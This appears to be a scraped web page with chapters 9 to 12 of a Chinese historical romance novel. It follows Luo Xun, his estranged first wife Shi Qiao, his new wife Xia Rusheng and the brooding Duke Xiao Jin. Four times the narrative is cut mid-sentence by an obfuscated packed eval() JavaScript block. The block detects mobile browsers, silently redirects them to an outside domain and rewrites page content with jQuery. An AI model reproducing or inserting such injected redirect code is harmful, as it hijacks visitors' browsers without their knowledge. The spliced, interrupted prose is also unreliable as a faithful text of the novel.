l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519631|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是时乔情绪激动，他若再提如蔷，恐怕火上浇油。倒不如就依如蔷说的，不必提她。如此留下，也不算辜负了如蔷的一番辛苦。 罗珣目光微沉。 小荷没有往他这边走，而是贼头贼脑地避开他们，冲着路边觅食的几只野狗去了，嘴里还念叨着：“也不知狗吃不吃……” 他吩咐候在车外的的玉河，“将食盒拿回来。” 玉河应了声，几步就追上了小荷，探手将食盒夺了回来。 小荷转身瞪着不悦道：“你这是作甚，怎还跟狗抢食呢！” 玉河皱眉，“你这丫头，还是这么没规矩！” 他返回马车旁，将食盒放到马车上，小声说了句：“夫人以前也不这样啊。” 罗珣握住食盒，抬头看向楼上。 半开的轩窗旁，一道纤弱的身影凭窗而立，眸光冰冷，默默注视着他。 她是要羞辱如蔷，激怒他。 罗珣落下锦帘，吩咐车夫：“走吧。” 他从一开始，就错看了她。 成亲三年，她对他百依百顺，竭尽全力助他仕途。他一直当她是一株山野间的藤蔓，虽有旺盛生命力，却需攀附着嘉木向上生长。他仕途坦荡，她便可借助他彻底脱离夏家，做人上人。 所以，他从来没担心过，她会不接受如蔷，会因为他娶平妻而离开。 可一个能挽弓射箭、上阵杀敌的女子，怎么可能甘心当一株藤蔓。 她嫁他，不是因为他是可依靠的嘉木，而是将他当作守护她心上人的剑。 而如今，那柄剑，刺向了他。 离开客栈，罗珣先去了趟太医院，请擅金疮的高太医去给时乔诊治。 高太医奇怪地看向他，“我已经去客栈给令正诊过脉了，罗大人不知吗？” 罗珣一愣，“去过了？” 时乔没有他的拜帖，哪里请得动高太医？ 高太医看出他的疑虑，出言给他解惑，“雍王殿下今日一早亲自来过一趟，还特意叮嘱，不拘多名贵的药，只管用便是，皆从雍王府出。” 罗珣不由汗颜。 他这个夫君，竟比不过雍王用心。 “有劳高太医了。” 罗珣告辞离开。 高太医摇了摇头。 他竟没想着问一句，他夫人的病情如何吗？ 9. 第 9 章 离开太医院后，罗珣先去了趟兵部，又回到户部衙门，忙到傍晚方下值回府，一身疲惫。 刚在户部应付完同僚拐弯抹角的打探，却还要应付母亲的追问、责难，还要安抚如蔷看到原封不动的食盒时的失落。 过去二十余年，他每日苦读，事事力争最好，并不觉得累。朔北三年，他殚精竭虑，亦不觉累。可如今他仕途坦荡，又心愿得偿娶到了如蔷，明明是他此生最轻松的日子，他却觉身心俱疲。 他只想，一个人好好安静一会儿。 用过晚膳，罗珣就去了外书房。 夜深了，窗外雪声簌簌，雪光裹着寒气，透过楹窗落到书案上，满桌冰寒。 书案上放着一摞卷宗，是朔北军近几年阵亡的将士名单，他今日去兵部调阅的，借的由头是：核实阵亡抚恤金。 筛选之后，最后只剩下两个名字，程大山，陆沉。 这两人都是将官，年轻有为，没有家室。 程大山，四年前战死，时年二十三岁；陆沉，两年多前战死，时年三十五岁。 相较而言，程大山的可能性更大。 一则，陆沉年纪委实太大，足足比时乔大了近二十岁，可以当她父亲了。 再则，陆沉战死的时间，在他和时乔大婚之后。按时乔的意思，那位将军彼时已经战死，这才嫁给他的。 还有最重要的一点，他这些年与朔北军打交道时，也听过一些关于这位陆将军的传闻。听说他相貌极其丑陋，是以常年戴着一张假面，这对年少慕艾的少女来说，着实很难生出什么少女情怀。 罗珣看着程大山的名字，久久未动。 他不知道此人与时乔有何种过往，能让时乔如此刻骨铭心，如此不顾一切。 他突然很嫉妒。 这是他从未有过的情绪，且这种情绪越来越烈，在他心底疯狂叫嚣。 他猛地站起身，走到窗前推开窗，风雪骤然灌了进来。 他站在窗口，任由风雪肆虐。 想起他离开客栈时，时乔那双冰冷的眼眸，比这雪更冷上三分，像极了三年前她断亲时。 大婚日拜别父母亲，她堂前割发断亲，决绝道：“各位大人各位夫人请给做个见证，磕过头，断了发，我便还清了父亲的血脉恩情，自今日起，他便不再是我父亲。我不再是夏如乔，冠母姓时乔。” 他没想到，这个沉静的女子竟有如此刚烈的一面。 她说得决绝，做得也决绝。在堂上当即甩出生母的嫁妆单子，将生母的嫁妆悉数讨回，自那以后，便再也没与夏家有过来往。 如今，她又会做出什么来逼他和离？ 和离后，她是要继续回朔北，去守着那个人用白骨筑的长城吗？ 不知多了多久，他的身上落了雪，眉目上凝了冰，喧嚣的情绪被冰雪压下，他的目光渐渐恢复清明。 他竟在嫉妒一个已逝之人，甚至费尽心思去调查那人的一切——想来实在可笑，更毫无意义。 他素来心性沉笃、稳如磐石，从不被他人牵动情绪，更不会在无谓之事上虚耗心力。 今日这般反常，待冷静下来细想，他最终将其归因于男子天生的占有欲和掌控欲。 时乔是他的妻子，哪怕不是他的心爱之人，他也难以容忍她心里有别人。 原来，人性深处固有的贪执与私念，他也终究未能超脱。 “老爷，菡萏姑娘来给您送宵夜。” 玉河在门外禀了一声，得到罗珣回应，方推门进来，身后跟着的是如蔷的贴身丫鬟菡萏。 菡萏手里提着食盒，行礼道：“老爷，夫人给您熬了甜汤暖胃，说冬夜寒凉，让您保重身子。” 她将白瓷盅并两碟点心摆到书案上，又道：“夫人问您今晚可还要回去就寝？也好给您留门。” 罗珣这才想起，今日是新婚第二日，他该早点回房歇息。 以往他埋首案牍时，时乔比他还忙，是以从不催他，不会催他回去用膳，更不会催他就寝。他觉得这种相处模式很好，轻松自在，彼此互不打扰，互不约束，却在朝着同一个目标努力。 可现在才明白，他们的目标从来都不一样。时乔不催他，只是不在意罢了。 “姑爷？” 菡萏见罗珣只定定看着桌上的点心，也不说话，便小心翼翼提醒了一声。 罗珣：“一会儿便回。” - 长夜寂寂，霜天无声。 皇城西侧，靖国公府巍然盘踞在广阔的天地间，生生吞下半坊之地。朱漆大门如凝血般暗沉，逾三丈的青砖院墙蜿蜒如城郭，遮住了高墙内的飞檐斗拱和古木森森。 暗夜下，整座府邸犹如一头蛰伏的饕餮巨兽，仿佛随时要挣破夜色人立而起。 高墙内，外书房一灯孤明，照破了寒色。 萧烬默坐书案前，手里拿着一支翡翠簪子，眸光幽沉。 簪子通身碧绿，似一株乔木，树干笔挺，枝冠丰茂，若是细瞧，在靠近簪尾处隐约可见一个“乔”字。 那个位置显然被打磨过，试图抹去字迹，但那字刻得深，终究不能尽数消除。毕竟若打磨得太厉害，那里势必要凹陷进去，反而更打眼。 他指腹抚上那个字，轻轻摩挲。 厢房门打开，张三拱手禀道：“国公爷，阎寺卿来了。” 萧烬将簪子放回锦盒，“让他进来。” 张□□出去，对着候在书房外三丈远的阎寺卿扬声道：“阎大人，国公爷有请！” 阎寺卿远远地应了声，从头到脚整理了遍衣冠，方迈着四方步，往书房走。 待走近了，就听戏谑的声音从屋顶上传来，“阎大人，你每回都站那么老远作甚？” 阎寺卿不用抬头看就知道，是靖国公另一个贴身护卫李四无疑了。 他最头疼和此人打交道，自己堂堂三品大员，却时常被他奚落得体无完肤，偏他还不敢得罪了。 我为何站这么远，你心里没点数吗？！ 你们这国公府，里里外外明里暗里到底埋伏了多少高手？ 半个月来，有多少人死在了国公府，多少人死在了外书房三丈内！ 我有几个脑袋，敢去冒这个险？ 他抬头冲着屋顶上的李四笑眯眯打招呼，“李护卫辛苦。” 李四笑嘻嘻道：“阎大人人称笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519632|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面阎王，怎瞧着胆子这么小呢？” 阎寺卿幽怨地瞧了他一眼。 有你们主子在，我顶多算个小鬼！ 这半个月来他常伴靖国公左右，其抄家时杀伐果断的狠辣，让他自叹弗如，其刑讯手段，更是让他这个老刑讯胆战心寒，只保佑自己别落到他手里。 进书房前，阎寺卿又整理了遍衣冠，端肃了仪态，方推门进去。 整座外书房阔达五间，无一隔断，却并无敞亮之感。沉闷厚重的黑檀木彻底占据了这里，吞噬了光线，也吞噬了声响。 房中摆放的椅榻、几案，无不沉厚、刚硬，没有半分圆融。一列列黑檀木书架顶天立地，兵法典籍、卷宗图册层叠垒砌，腐朽的墨香混着檀香侵入肺腑，直压得人喘不动气。 确切说，那气味已算不得墨香，而是上好的墨锭与宣纸在历经岁月久远，纤维一寸寸断裂，散发出的微尘般的枯朽气。 倒是那些雕工精良的檀木家具，虽已色泽晦涩，却不见腐朽，就如墓碑一般静静矗立在那里，见证着原主人曾经的威严与辉煌。 这座宅子，原是镇西王府邸。镇西王因通敌被满门抄斩后，便空了下来。时隔二十多年，又被赏赐给了靖国公。 宅子年久失修，处处需修缮换新，靖国公倒也不介意，说事急从权，只让工部将不合规制的地方整改了，其他一切如旧，便住了进来。 至于那“事急从权”是什么，便不可说了。 他只是猜测，猜测。 阎寺卿收敛神思，绕过镂雕蟠螭纹的屏风。 右侧的房间中央，巨大的黑檀木书案横踞其间，靖国公静坐于书案后，一身玄色暗纹常服，几乎与这满屋的黑沉融为一体。 阎寺卿在书案前三步开外的地方站定，规规矩矩躬身行礼，“靖国公，刑讯室准备妥了，可是要提审威远侯？” 两刻钟前，靖国公差人去大理寺传话，让他过来一趟。 他立马就猜到靖国公又要刑讯了，这位新晋的阎王爷最喜欢深夜提审嫌犯。昨晚刚抄了威远侯的家，他揣测上意，定是提审威远侯无疑了。 他这个人最讲效率，得了消息立马安排下去，这才匆匆过来回话。他就是靠这个，一步一步爬上来哒。 他眼巴巴看着靖国公，只求一个赞许的目光。 却见萧烬神色不动，连个眼神都没给他，“今夜不刑讯。” 阎寺卿一愣。 不审案？ 那他岂不是白准备了？ 转念一想，又高兴起来，那他今晚岂不是可以回家了？ 靖国公府离大理寺不远，心血来潮时，靖国公就会去大牢里提审犯人，不拘是白天还是深更半夜。 只苦了他这个大理寺卿，靖国公审案，他没有不陪着的道理，只好在值房安家随时待命。这一住就是小半个月，家中小儿恐怕都不认得他了。 阎寺卿高兴得直搓手。 却听头顶传来一句，“给你个差事。” 刚刚燃起来的小火苗瞬间被浇灭，阎寺卿认命地抹了一把辛酸泪，恭声问：“不知是何差事？” 靖国公：“去趟侍郎府，请罗大人过来喝茶。” 10. 第 10 章 罗府。 锦园。 炕桌上摆着一个小巧的青玉熏香炉。 夏如蔷坐在塌上，拿银香勺轻轻拨动熏香。 “老爷在做什么？” 菡萏回道：“老爷正在赏雪，窗户大开着，书房里冷得跟冰窖似的。老爷说，一会儿就回来。” 夏如蔷拨熏香的动作一顿，“赏雪？什么样的雪，让他赏半个晚上，连新人都顾不得了？” 菡萏宽慰她：“老爷自是顾着姑娘您的，只是老夫人固执，总想着为那位撑腰，老爷不能不顾孝道，这才左右为难。” “左右为难……让他为难的，恐怕不是孝道。” 熏香袅袅，缭绕在夏如蔷眉眼间，遮不住美眸中的冷意。他今日回来就失魂落魄的，因着谁，不言而喻。 菡萏鄙夷一笑，“且不说男人都是喜新厌旧的，就凭那位如今的模样，能留住哪个男人的心？” 另一个丫鬟青竹也笑着附和：“姑娘您花容月貌，又与老爷心意相通，她拿什么跟您比？” 夏如蔷面色稍霁。 三年前时乔或许还有些资本，如今还剩什么？成亲三年她都不曾拢住罗珣的心，如今就更没了机会，自己又何必这般患得患失。 罗珣谦谦君子，顾念旧情也属正常。 外面传来丫鬟的请安声，“老爷。” 夏如蔷恢复了从容，下榻含笑迎了出去，“夫君回来了。” 罗珣嗯了声，解去大氅，进了内室。 丫鬟们都识趣退下，关上房门，房中只剩伉俪二人。 罗珣抿着唇，望向那紧闭的房门。许是习惯了独处，这种共处一室的暧*昧，让他无端生出几分排斥。 一双玉手缠上他的腰间，灵巧解落腰带。美人面若桃花，陌生的馨香侵入鼻息。 许是时乔素日里不用熏香的缘故，罗珣微微屏息，试图避开那股略显浓郁的香气。 梅香本清冷，若是配以冷杉或沉香，既不会夺其清冷之骨，又可润其苦涩之韵，可她配的是暖情的麝香，便夺了梅魂。 他心下不由暗暗惋惜。 “妾身服侍夫君更衣。”她的声音妩媚，又带了些娇羞，和平日里的端庄矜持很是不同。 罗珣垂眸看她。 她穿着件大红对襟寝衣，寝衣领口半敞，红艳艳的小衣下一片雪白丘壑，他迅速挪开眼，往后退了一步。 “我自己来就好。” 他进了净房，解去衣冠，沐浴更衣。 再回内室时，已是一片晦暗，仅剩帐外一支红烛。 黄花梨木千工拔步床繁复华美，镂雕的缠枝海棠开得正艳，半掩的帐幔轻罗后，夏如蔷斜倚床头，寝衣轻软，勾勒出曼妙曲线。 大红喜被上的交颈鸳鸯相依相偎，虚虚搭着，满园春色若隐若现。 罗珣站在拔步床外，脑海中却浮现出时乔的模样。 新婚夜，她孤零零一个人坐在喜床上，臃肿的嫁衣和沉重的凤冠都还没换下来。她陪嫁的两个丫鬟年纪尚小，都不能在房中伺候，房中伺候的是罗府的丫鬟，许是听说了她的出身，服侍得并不用心。 在他推门而入的刹那，她瑟缩了一下，手指无声地收紧裙裾，勉力维持着表面的平静。可当他掀被上床、即将就寝的那一刻，她最后一丝镇定终于溃散。那张原本如灼灼海棠般秾丽的容颜，霎时褪尽血色。她恐惧地向床角缩去，怀里紧紧抱着枕头，像一只被逼到绝处、瑟瑟发抖的小兽。 她那时只十六岁，身边又没有教导的长辈，对男女之事一无所知，所以恐惧吧。 他就势告诉她：你年纪还小，等你长大些再说吧。说完这番话，便见她肉眼可见地放松了下来。 那夜他在书房里枯坐一宿，望着窗外摇晃的梅枝，想着那个雪地里折梅枝的女孩。如今伊人就在眼前，他却不合时宜地想着时乔。 罗珣忽而心念一动，恍然明白过来一件事：时乔彼时或许不是因为恐惧，而是要为那人守身如玉。 正是血气方刚的年纪，又兼吴妈妈屡屡相劝，他这三年来也曾动过与她圆房的念头，可每每他在她房中留宿，她都会紧张到发抖。他没有强人所难的习惯，渐渐地，也就断了那些旖旎的心思。 原来如此…… 罗珣眸色倏地冷了下来，沉如寒潭。 夏如蔷见他迟迟未动，轻声唤他，“夫君？” 可此刻罗珣满心都是时乔。 挫败与怒意交织着，在他胸中翻涌不止。 他没了圆房的心思，但抬眼对上如蔷殷切的目光，终究不忍伤她，正欲寻个借口暂且推脱，却听见门外丫鬟传来通报： “老爷，外院传话进来，说大理寺卿来了。” - 去靖国公府的路上，阎寺卿放着着自己的马车不坐，非要和罗珣挤一辆马车。 一路上，他笑眯眯的，很是客气。 毕竟，他一向奉行的原则是：与人为善。 更何况这位罗大人的才华有目共睹，又得圣上和雍王重用，前程不可限量。只要人还没定罪，能不得罪就别得罪。 阎寺卿觑着罗珣脸色，笑吟吟道：“没扰了罗大人的好事吧？” 他说的好事，自然是洞房。昨夜没洞房成，今夜不得补上？ 靖国公委实不地道，连续两天坏了人家的洞房！ 罗珣多少知道些这位阎和阎寺卿的脾性，人如其名，面上和风化雨，脚踩修罗地狱，是以并不接对方的调侃，后来见他喋喋不休，干脆闭目养神。 到了靖国公府，聒噪了一路的阎寺卿立马安静了，依然是规规矩矩止步于书房前三丈外。 李四从屋顶上跳下来，踱步过去，上下打量了罗珣一番，“国公爷有公务要处理，等着吧！” 阎寺卿对着罗珣一摊手，“靖国公一向这么忙，要不，罗大人就等等？” 李四瞅着阎寺卿，“阎大人怎还不走？这里没你啥事了！” 阎寺卿笑眯眯道：“不着急，靖国公日理万机，我在一旁说不得还能协助一二……” 他原本很想走，可靖国公赶着他走，他突然就不想走了。他很好奇，靖国公和罗侍郎私下里要谈什么？ 为何他隐隐约约感觉，他们两人之间有什么不可言说的秘密呢？ 李四双臂环胸，阴森森地笑，“那你就继续呆着试试？” 阎寺卿笑脸一收，“告辞！”麻利地溜之大吉。 罗珣凝望着书房的方向。 窗内灯火通明，一道挺拔的身影映在窗纸上，正伏案疾书。他们才刚抵达，那身影便倏然坐直，转向窗外。虽隔着一层窗纸，不见目光，却有一股无形的威压破空袭来，凛冽如剑。 罗珣身形笔直如松，目光沉静，不闪不避地迎向那道压力。 片刻，窗内之人收回视线，那令人窒息的压迫感也随之骤然消散，仿佛从未存在过。 罗珣等了足足一个时辰，身上落了一层寒霜，靖国公方请他进去。 甫一进书房，目光所及，皆是凝固的时光，沉重，压抑。 早就听同僚私下里悄悄说，整座靖国公府就像一座坟墓，不知游荡着多少游魂厉鬼，也就靖国公百无禁忌，有胆量住进去。 现在看来，靖国公的内心比他想象得还要强大。 靖国公已移步会客区，正坐在主位喝茶。 罗珣行礼后，依礼落座于靖国公下首。 萧烬撩起眼皮，目光在他身上停留一瞬，“更深露重，罗大人饮杯热茶，驱驱寒气。” 罗珣道谢后端起茶盏，浅尝一口便轻轻放下。 “靖国公深夜召下官前来，应不止是为饮茶吧？” 萧烬不紧不慢拨动杯盖，拂开茶沫，“罗大人以为，所为何事？” 罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519633|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珣略一沉吟，“可是因为那几箱嫁妆？” 萧烬唇角微扬：“罗大人不愧是状元之才，果然心思通透。” 他朝张三略一颔首，张三立即将案上的锦盒奉至罗珣面前。 罗珣打开锦盒，里面躺着一支翡翠簪子，正是裴二爷为时乔精心雕琢的那支。 只听靖国公道：“罗大人既这般机敏，想必也能参透这簪子中的玄机。” 罗珣将簪子拿在手上，细细端详。 昨夜他只是粗粗一看，只觉得雕工差强人意，此时在灯下细看，却发现这簪子着实是花费了大工夫的。 簪身枝干纹理分明，簪头叶片脉络细如发丝，薄如蝉翼的玉料上竟能雕出如此精微的纹路，稍有不慎便会前功尽弃。 他无法想象，裴二爷究竟花费了多大的耐心，方将这支簪子雕好。裴二爷虽只是觊觎时乔美色，可这份用心却也真切。 他凤眸微凝，落在簪尾一处。 那里微微凹陷，细细辨认，隐约可见一个“乔”字。 很显然，曾有人试图将那字给抹掉。 而抹掉这个字的意图，便是遮掩它本该属于时乔的事实。 至于这个人是谁，恐怕是如蔷吧。 她说她在成亲那夜就知道了真相，只是无奈木已成舟，那么便该知道，这簪子是裴二爷亲手雕刻，送给时乔的定情之物。 菡萏曾说裴二爷对她多有羞辱，她那么厌恶甚至是痛恨裴二爷，为何要抹掉痕迹，将他亲手做的簪子戴在头上？ 显然是讲不通的。 罗珣面色不动，将簪子放回锦盒，“不知靖国公是何意？” 靖国公正在喝茶。 茶雾缭绕，遮住了他凌厉的眉眼，也遮住了那抹一闪而过的柔色。 他放下茶盏，“罗大人顾念旧情是好事，只是得擦亮眼睛，免得追悔莫及。” 罗珣明白靖国公的意图：让他放弃如蔷。 他不明白的是，靖国公明明有那么多国政大事要忙，为何要跟一个女子这般过不去。 在罗珣告辞离开后，萧烬继续坐在那里喝茶。 无悲无喜，无欲无求。 一身孤寂。 张三看着实在不忍，踟躇了许久，开口道：“卑职不明白，您为何要这么做。罗大人万一认清了夏如蔷的真面目，不肯要她了，时姑娘再回心转意……” 房门打开，李四贼头贼脑溜了进来，“就是啊！您这不是又一次竹篮打水一场空么！您就该趁机将人夺回来！” 萧烬何尝不想。 昨日在喜堂上，在听到时乔说出对他的心意时，他切切实实动了夺回她的念头。 可今日见过何七后，他又改变了主意。 原来她口中所谓的心上人，不过是说来激怒罗珣的气话。 那声声质问里藏着的深情与不甘，罗珣听不懂，于他却字字诛心。 爱之深，才会恨之切。 其实他早就该明白，一旦爱上一个人，岂是这般容易放下的。 去年他曾去过一回庆原府，悄悄潜入府衙后宅。 彼时，时乔培育的新麦种迎来了大丰收，整座庆原府沉浸在丰收的喜悦中。 时乔和罗珣欣喜相拥。 在那漫长的拥抱中，金风醉红了她的面颊，漫天星辰映亮了她的眼眸。 他看到，她眼中缓缓漾开的情意，是他从未见过的深情。 原来她喜欢一个人时，是这个样子。 他看着罗珣抱起她，大踏步进了房中，鸾凤和鸣的大红幔帐落下，在烛光下格外旖旎。 萧烬闭了闭眼，抬手一挥，灭了满屋的烛火。 黑暗中，他缓缓起身，进了内室。 她的人生处处灰烬，她好不容易从那灰烬中重新长出枝芽，他不能让那枝芽再次被毁。 她既放不下罗珣，那他便成全她。 11. 第 11 章 罗珣回罗府时，已是后半夜。 阎寺卿深夜造访惊动了罗老夫人，她不知发生了何事，担惊受怕地等了半个晚上。 见儿子回来了，急切问：“发生了何事？” 罗珣只道是公事，安抚了母亲几句，便回了锦园。 夏如蔷也是一夜未睡，请罗珣的大概是靖国公。毕竟能让阎寺卿亲自出马请人的，除了他也没旁人了。 夏如蔷强自镇定迎出房门，温声道：“夫君回来了。” 罗珣一言不发，径自进了房内。 夏如蔷跟进去，便见罗珣已解去大氅，坐在堂屋主位，静静看着她。 夫妻间说话，通常是去里面的次间或者内室，哪里有在明堂这般郑重其事的？且他眼神虽平静，却隐含威压，似一个审判者。 夏如蔷愈发肯定自己的猜测，且恐怕是与那支簪子有关。她最担心的，便是那支簪子。 她面色如常，接过菡萏手里的茶，让她们都退下。 缓步走到罗珣身边，为他斟上热茶，“夫君先喝杯茶，暖暖身子。” 罗珣没有喝茶，只道：“你先坐下。” 夏如蔷依言坐下，就听罗珣道：“我记得今秋见你时，你发间戴了一支翡翠簪子，可是靖国公带走的那一支？” 夏如蔷心下一沉，轻轻点头，“是。” 罗珣又问：“上面刻有‘乔’字，可是你让人抹去的？” 夏如蔷：“是。” 罗珣：“为何？” 夏如蔷苦涩一笑，“我虽恨裴二爷毁我一生，可木已成舟，我必须要做好萧二夫人。他虽已亡故，可他还有父亲、嫡母、兄嫂，我若将他亲手做的簪子束之高阁，要引来多少揣测？至于那个字，若是被旁人看到，难免惹人遐想，让裴罗两府的名声受损……” 罗珣端起茶盏，缓缓喝着茶。 她的解释不无道理。 以如蔷的性情，无论她嫁给谁，都会是最合格的佳妇，哪怕她心里装着他，也会将他人妇的角色扮演好。 思虑周全，不肯让人挑出一点错处，一向是如蔷的行事作风。侯府龙潭虎穴，寡妇门前是非多，她不谨慎些如何活到现在？ 他不明白自己这是怎么了，如蔷是他唯一动过心的女子，是与他两情相悦的女子，他为何会对她生出不信任。 可联想到如蔷离开侯府时，带走了侯府的聘礼，不管是有心还是无意，他还是不得不多想。 半盏茶饮下，罗珣再看向夏如蔷时，眉眼已恢复平和。 “是我思虑不周，没想到这一层。” 夏如蔷却无委屈责怪之意，反而是替他开脱，“靖国公有心针对，难免寻些所谓的破绽强行攀扯，夫君哪里提防得过来？” 罗珣若有所思。 他身在其中，自然能从细微处察觉出一些不寻常来。可靖国公不过是局外人，是如何仅凭一支簪子，就捕捉到如蔷的微妙心思的？ 若这些与案情有关也就罢了，可靖国公偏偏将常伴左右的阎寺卿支走了，那架势，倒像是在处理私事。 夏如蔷观他神色，便知已成功将矛头引向靖国公。 她言语间轻松了许多，“多思无益，只要你我夫妻同心，就不必怕他从中作梗。” 罗珣一时没有头绪，暂且压下心头疑虑，按着八仙桌起身，“好，不想了。” 夏如蔷起身往内室走，一边笑着说：“夫君再不睡，天就要亮了。” 罗珣却拿起大氅，“今日有早朝，睡一个来时辰就该起了，我还是去外院，免得扰了你。” 成亲两日，罗珣都不在她房中歇息，这算什么？ 夏如蔷心下急切，面上却不显，只笑着挽留，“侍奉夫君是为人妻的本分，横竖我白日里还能补眠。夫君若是就此走了，婆母怕要怪罪妾身侍奉不周了。” 罗珣披上大氅，“母亲那里我会解释，你早些安置吧。” 言罢，便出了房门，留夏如蔷怔怔站在原地。 他到底，还是没有信她。 - 如今的户部就是个烂摊子，因着牵扯进通敌案，在户部尚书和左右侍郎畏罪自尽后，谁也不愿、也不敢来趟这趟浑水。是以尚书和右侍郎之位一直空悬，所有的公务都压在罗珣这个新上任的左侍郎身上。 他除了要顾及朔北战后恢复，还要协助大理寺查案。 连续三日通宵达旦，协调各方，终于将第一批银粮调拨出去，以确保朔北不生民乱。 这三日，罗珣都宿在户部值房。 李四每晚都会去户部衙门的房顶上溜达一圈，然后回府禀报主子。 “罗大人今晚看起来不忙，此时正站在窗前赏雪呢！这人也是怪，咋还喜欢开着窗吹冷风呢？” “看情形，他是对新妇起疑心了啊！要不然，为何连续三日不回府？” “国公爷你可想好了啊，他要是跟时姑娘和好如初，可就没你什么事了！” …… 萧烬刚从大理寺审讯回来，身上血腥尚在，眸中戾气未除，他一言不发，脱去染血的衣衫，走到盆架前不紧不慢洗着手。 他洗得很细致，每个指缝都不肯错过，连换了几遍水，方洗到满意。 他从张三手里接过帕子，“他不会这么容易为人所左右。好好盯着他，什么时候他想回府了，就请他过来喝茶。” 李四：“是！” 国公爷这是不打算让罗侍郎圆房了啊！帮时姑娘留好罗大人的贞洁？ 国公爷我看不懂你！ 心里腹诽着，却还是出言提醒，“国公爷可要小心，别让阎寺卿猜出点什么，那可是个人精。” 萧烬擦干手，将帕子扔进盆里。 他们更该提防的人是罗珣。此人心智超群，非常人可及。就像威远侯通敌之事，连常年和威远侯打交道的雍王都没察觉，罗珣却敏锐察觉到了。所以罗珣连夜赶路，先他一步抵京占了先机，让他无法在不暴露自己的情况下阻止赐婚。 说不定现在，罗珣已经在怀疑他了。 萧烬换上干净的衣袍，周身干干爽爽再无血腥，这才问起时乔：“她今日如何？” 说话时，眼中的血腥气已然散去，只余化不开的墨色。 李四晓得他问的是时乔，自时姑娘进京后，这已成为是每日的例行公事。 “时姑娘今日咳了两回血，高太医又重新调整了药方。只是那药实在太苦，姑娘服药后胃口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519634|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便不太好……” 他话未说完，就被萧烬打断，“玉清什么时候到？” “明日就到。”李四笑嘻嘻道：“卑职让人给他带话，他明日若是不到，您就打断他的腿！” 萧烬点头，“你继续说。” 李四将时乔今日做了什么、一日三餐吃了什么细禀了一遍，又道：“何七还说，时姑娘让他打探您近几日的行踪。” 萧烬原本坐在太师椅上，靠着椅背闭目养神，在脑海中描绘着她做这些事时的样子。 闻言他睁开眼，“打探什么？” 他眼中乍然涌上的希翼让李四鼻头泛酸。 国公爷这是在希翼什么，横竖时姑娘认不得他了，即便两人见了面，也不过是陌生人罢了。 李四压下酸涩，回道：“打探国公爷喜欢去哪个酒楼、茶楼，通常什么时候过去。” 萧烬微怔。 旋即，他似乎猜到了时乔要做什么。 他往椅背上重重一靠，无力地闭上了眼。 终究是，迟了。 - 雪后初霁，檐角冰棱垂坠，日光折过冰晶，在熙和客栈的窗棂上投下一片碎金。 时乔坐在书案前，静静看着书案上的一摞账册。 素心端着药进来，“姑娘，该喝药了。” 时乔接过药碗一饮而尽，苦涩漫过喉间，她却连眉梢都未皱一下。 素心忙递上蜜饯，“姑娘快吃颗蜜饯压一压。” 时乔摆手推开蜜饯，“不必了。” 自那日罗珣拂袖而去，已过了三日。 这三日里，她将庆原府的账目誊抄成册，有厚厚六本，又让何七暗中打探靖国公的行踪，如今万事俱备。 “素心，备笔墨。” 她起身走到八仙桌旁，提笔蘸墨，“该请罗大人喝一盏‘清茶’了。” - 正值休沐，户部衙门里静悄悄的。 值房里一个炭盆也无，冷飕飕的，只书案上的那盅甜汤是温热的，梅花瓣点缀其中，散着阵阵甜香。这是如蔷差人送来的。 只是罗珣无心享用，伏首书案前，誊写请旨追加赈灾银粮的折子，墨迹未干的“以安民心”力透纸背，却忽被一滴墨染了边角。 他蹙眉搁笔，目光落在案头一摞誊抄工整的账册上——这是午后何七送来的，附着一封时乔的亲笔信，字迹瘦劲如竹，锋芒暗藏： “罗大人明鉴，成亲三年所耗银粮皆在此册。若君一意孤行，此册当呈靖国公案前。城东春和茶楼，恭候大驾。” “时乔，你果真……”罗珣低喃一声，指节叩在账册上，发出一声闷响。 他怎会不知这账册的分量？ 虽说罗府也资助了他不少银钱，可大头却是时乔出的。两人夫妻一体，那功劳原也不必分得太清楚。可如今两人在闹和离，就另当别论了。 靖国公若是将账册呈给皇上，再有有心人推波助澜，难保皇上不会取消赐婚，以对时乔有个交代。 那么如蔷，该何去何从？当初皇上为赐婚准许她和离归家，可还作数？万一不作数了，她岂不是要为威远侯陪葬？ 时乔的手段，与当年断亲时如出一辙。 12. 第 12 章 春和茶楼临街而建，二楼雅间推开窗，便能看到对面的酒楼。时乔端坐案前煮茶，滚水冲入青瓷盏，碧螺春的清香袅袅散开。 